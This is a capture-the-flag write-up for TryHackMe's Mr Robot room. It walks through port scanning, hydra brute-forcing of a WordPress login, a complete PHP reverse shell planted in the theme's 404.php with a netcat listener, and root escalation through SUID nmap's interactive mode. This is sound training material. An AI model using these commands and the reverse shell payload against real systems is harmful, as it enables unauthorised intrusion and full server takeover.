Mr Robot CTF
Room: https://tryhackme.com/r/room/mrrobot
export TARGET_IP=10.10.177.173
sudo nmap -p0- $TARGET_IP
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
sudo nmap -Pn -sT -sV -p 80,443 --script vuln,default $TARGET_IP
Most interesting findings:
80/tcp open http Apache httpd
| http-enum:
| /admin/: Possible admin folder
| /wp-login.php: Possible admin folder
| /robots.txt: Robots file
Manual Enumeration
We got good stuff from /robots.txt
:
User-agent: *
fsocity.dic
key-1-of-3.txt
Let's download that list:
wget http://10.10.177.173/fsocity.dic
Cracking the WordPress Login
Our reconnaissance has led us to a potential goldmine: a file named fsocity.dic
and the WordPress login page at /wp-login.php
. The logical next step? A brute-force attack to try and gain access to the WordPress admin panel.
However, a quick look at the fsocity.dic
file reveals a daunting obstacle:
wc fsocity.dic
> 858160 858160 7245381 fsocity.dic
Over 858,000 words! Brute-forcing this massive wordlist directly would be incredibly time-consuming, especially in a CTF where efficiency is key. But a closer inspection reveals a crucial detail: the file is riddled with duplicates. We can dramatically reduce its size with a simple command:
sort -u fsocity.dic | wc -l
> 11451
By sorting the file and keeping only unique lines, we shrink the wordlist down to a more manageable 11,451 entries. Now, let's save this cleaned list:
sort -u fsocity.dic > fsocity_unique.dic
With a refined wordlist, a brute-force attack seems more feasible. But there's another hurdle. A naive approach would involve testing every possible username and password combination, leading to an enormous number of attempts. Is there a more efficient way?
Here's where we can exploit a subtle information leak from the WordPress login itself. If we try to log in with random credentials, we get the error message: ERROR: Invalid username
. This error message is more helpful than it seems! It implies that if we don't get this error, we might have stumbled upon a valid username.
This is where hydra
, a powerful password-cracking tool, comes to our rescue. We can leverage hydra
to specifically target the username field, using the error message as an indicator of success. The absence of the "Invalid username" error will signal a potential hit, allowing us to identify valid usernames before even attempting password combinations.
Configuring hydra
for Username Discovery
We'll use hydra
to test each potential username from our fsocity_unique.dic
file against the WordPress login page. The key is to instruct hydra
to look for the absence of the "ERROR: Invalid username" message as a sign of success.
hydra -L fsocity_unique.dic -P dummy.txt -t 64 10.10.177.173 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.177.173%2Fwp-admin%2F&testcookie=1:F=Invalid username"
Explanation:
-
-L fsocity_unique.dic
: Specifies the file containing our list of unique usernames. -
-P dummy.txt
: Specifies a dummy password file. Since we're only testing usernames, the password doesn't matter. Using a single-word dummy file (e.g., a file containing just the word "password") is more efficient than a large password list. You can create one with:echo "password" > dummy.txt
-
-t 64
: Uses 64 threads for faster execution (adjust as needed for your system and network conditions). If you are using a VPN a higher number of threads is recommended. -
10.10.177.173 http-post-form "/wp-login.php:..."
: Defines the target and the HTTP POST request details:10.10.177.173
: The target IP address.http-post-form
: Specifies that we're attacking an HTTP form using the POST method./wp-login.php
: The path to the WordPress login page.log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.177.173%2Fwp-admin%2F&testcookie=1
: These are the parameters that the WordPress login form expects.log=^USER^
: The username field, where^USER^
is a placeholder thathydra
will replace with each username from the wordlist.pwd=^PASS^
: The password field, where^PASS^
is a placeholder.wp-submit=Log+In
: The submit button parameter.redirect_to=...
: The redirection parameter (this might vary depending on the WordPress configuration).testcookie=1
: A cookie parameter, possibly for testing if cookies are enabled.
-
:F=Invalid username
: This is the crucial part for filtering.:F
: Tellshydra
to consider a login attempt a failure if the specified string is found in the response.Invalid username
: The string we're looking for.hydra
will mark attempts that do not contain this string as successful, indicating a potentially valid username.- I tried using "ERROR: Invalid username" but I got an error likely because the word "ERROR" is bold (?.
Results:
[80][http-post-form] host: 10.10.177.173 login: elliot password: password
[80][http-post-form] host: 10.10.177.173 login: Elliot password: password
[80][http-post-form] host: 10.10.177.173 login: ELLIOT password: password
Now let's guess the password:
hydra -l 'elliot' -P fsocity_unique.dic -t 64 $TARGET_IP http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.177.173%2Fwp-admin%2F&testcookie=1:S=Location"
> [80][http-post-form] host: 10.10.177.173 login: elliot password: ER28-0652
Gaining a Reverse Shell via the WordPress Theme Editor
Having successfully gained access to the WordPress admin panel, our next objective is to elevate our privileges and gain a foothold on the underlying system. A classic and effective technique for achieving this is to inject a reverse shell into one of the theme files.
1. Accessing the Theme Editor:
- Navigate to "Appearance" -> "Editor" in the WordPress dashboard.
- Important Note: The Theme Editor might be disabled in some WordPress installations for security reasons. If it's not available, you would need to explore alternative methods, such as exploiting vulnerable plugins or uploading a shell through a file upload vulnerability.
2. Choosing a Target File:
- Select a PHP file within the active theme (Twenty Fifteen in this case) that is likely to be executed. Common choices include:
404.php
: The template file for handling 404 (Not Found) errors. This is a good choice because it's frequently triggered.header.php
: The header file, which is usually included on every page.footer.php
: The footer file, also commonly included.
3. Injecting the Reverse Shell:
-
Obtain a PHP Reverse Shell: You can find many PHP reverse shell examples online. A simple, commonly used one is:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = 'YOUR_ATTACK_MACHINE_IP'; // Replace with your attack machine's IP
$port = 4444; // Replace with the port you want to listen on
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?> -
Modify the Shell:
- Replace
YOUR_ATTACK_MACHINE_IP
: Change'YOUR_ATTACK_MACHINE_IP'
to the IP address of your attacking machine (your Kali Linux machine in the TryHackMe environment). Enter in the Terminalip a
and look fortun0
. Or look at the right-top corner in Kali screen, there should be your attacker IP. - Replace
$port
: Change4444
to the port you want to use for the reverse shell connection. Make sure this port is not blocked by any firewalls.
- Replace
-
Paste the Code: Replace the entire content of the
404.php
file with the modified PHP reverse shell code.
4. Setting Up a Netcat Listener:
-
Open a Terminal: On your attacking machine, open a new terminal window.
-
Start Netcat: Use Netcat to start a listener on the port you specified in the reverse shell code:
nc -lvnp 4444
nc
: The Netcat command.-l
: Listen for incoming connections.-v
: Be verbose (show connection information).-n
: Numeric-only IP addresses (don't use DNS resolution).-p 4444
: The port to listen on (make sure it matches the port in your reverse shell).
5. Triggering the Reverse Shell:
- Visit a Non-Existent Page: In your browser, try to access a page on the target website that doesn't exist. This will trigger a 404 error and cause the
404.php
file (which now contains your reverse shell) to be executed. For example:http://10.10.177.173/this-page-does-not-exist
6. Gaining a Shell:
- Check Your Netcat Listener: If everything is configured correctly, you should see a connection established in your Netcat listener terminal. You now have a reverse shell on the target system!
Escalating Privileges
Once you have a reverse shell connection, using the command python3 -c 'import pty; pty.spawn("/bin/bash")'
(or python -c 'import pty; pty.spawn("/bin/bash")'
if Python 3 is not available) is an excellent first step. This command uses Python's pty (pseudo-terminal) module to spawn a more interactive and fully featured Bash shell.
Why is This Important?
-
Stability: Reverse shells obtained through methods like the one we used (injecting into a PHP file) are often unstable or limited. They might not handle interactive commands well, or they might terminate unexpectedly. Spawning a PTY significantly improves the stability of the shell.
-
Full Interactivity: The initial reverse shell might lack features that you'd expect from a normal terminal:
- No Job Control: You might not be able to use Ctrl+C to stop processes or Ctrl+Z to background them.
- No Tab Completion: Command-line tab completion might not work.
- No Arrow Keys: Using the up and down arrow keys to navigate command history might not function correctly.
- Limited Terminal Size: The terminal size might be incorrect, causing output to wrap strangely.
The
pty.spawn()
command gives you a shell that behaves more like a standard terminal, fixing these issues. -
TTY (TeleTYpewriter): A pseudo-terminal (PTY) is essentially a software implementation of a terminal. By spawning a PTY, you're giving the reverse shell a proper TTY, which many programs expect. This allows you to use interactive programs like text editors (e.g.,
nano
,vim
),sudo
,ssh
, and others that require a TTY to function correctly.
python3 -c 'import pty; pty.spawn("/bin/bash")'
- Find
key-2-of-3.txt
: Now that you have a shell, you can navigate the file system, search forkey-2-of-3.txt
and read its contents. For example, you can docd /
to go to root directory and then usefind . -name key-2-of-3.txt 2>/dev/null
to find the file, and finallycat <path>
to read its content. You aparently need to be logged as "robot" in order to get that second flag. Do not worry, usesu robot
and enter the password, what password? That one in the same directory than the flag (/home/robot
). Actually it is hashed with MD5. Very easy to crack, more if you already did the Crack The Hash room. - Escalate to root: The final step is to escalate your privileges to the root user. This could involve finding a SUID binary that you can exploit to run commands as root or exploiting a kernel vulnerability for example. You can use
find / -perm -u=s -type f 2>/dev/null
to find SUID binaries. Also, once you get root, you can findkey-3-of-3.txt
(the final key).
Understanding SUID and its Implications
- SUID (Set User ID): The SUID permission bit, when set on an executable file, allows that file to be executed with the privileges of the file's owner rather than the user who is running it.
- Root-Owned SUID Binaries: Most often, SUID binaries are owned by root. This means that when a regular user executes such a binary, they temporarily gain root privileges for the duration of that program's execution.
- Security Risk: If a SUID binary has vulnerabilities or can be manipulated in unintended ways, it can be exploited by a regular user to gain elevated privileges, potentially even root access.
find / -perm -u=s -type f 2>/dev/null
Output:
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
This command finds all files on the system that have the SUID bit set:
find /
: Starts thefind
command from the root directory (/
), so it searches the entire filesystem.-perm -u=s
: Specifies that we're looking for files with the SUID bit set for the owner.-type f
: Limits the search to regular files (not directories, symbolic links, etc.).2>/dev/null
: Redirects error messages (like "Permission denied") to/dev/null
(effectively discarding them), so you only see the list of matching files.
How to Determine if a SUID Binary is Exploitable
- Research: The most straightforward way is to research each binary in your list. Use Google, Exploit Database (https://www.exploit-db.com/), and other security resources to see if there are any known exploits for that specific binary and version.
- GTFOBins: GTFOBins (https://gtfobins.github.io/) is a fantastic resource. It's a curated list of Unix binaries that can be used to bypass local security restrictions, including privilege escalation through SUID binaries. Search GTFOBins for each binary in your list to see if there are documented ways to exploit it.
Exploiting nmap
Your find
command revealed that /usr/local/bin/nmap
is SUID root. You would then:
-
Check the Version:
nmap --version
> nmap version 3.81 -
Research Vulnerabilities: Search online (e.g., Exploit Database, GTFOBins) for "nmap privilege escalation" along with the specific version number you found. https://gtfobins.github.io/gtfobins/nmap/#shell
-
Exploit: If you find that the version is vulnerable to the old interactive mode exploit, you might be able to do something like this:
nmap --interactive
# Inside the nmap interactive prompt:
!shThis would spawn a shell (
!sh
) with root privileges becausenmap
is SUID root.
CTFs often intentionally include vulnerable SUID binaries to teach these concepts. In real-world systems, it's less common to find easily exploitable SUID binaries, but it does happen.
After exploiting nmap
go to /root
and find your last flag.
Conclusion
The Mr. Robot CTF provided a valuable learning experience in web application security and privilege escalation. We successfully exploited a vulnerable WordPress installation by brute-forcing the login, injecting a PHP reverse shell through the Theme Editor, and ultimately gaining root access by leveraging an older, vulnerable version of nmap with SUID permissions. This challenge highlights the importance of keeping software up-to-date, carefully managing file permissions, and being aware of the potential dangers of SUID binaries.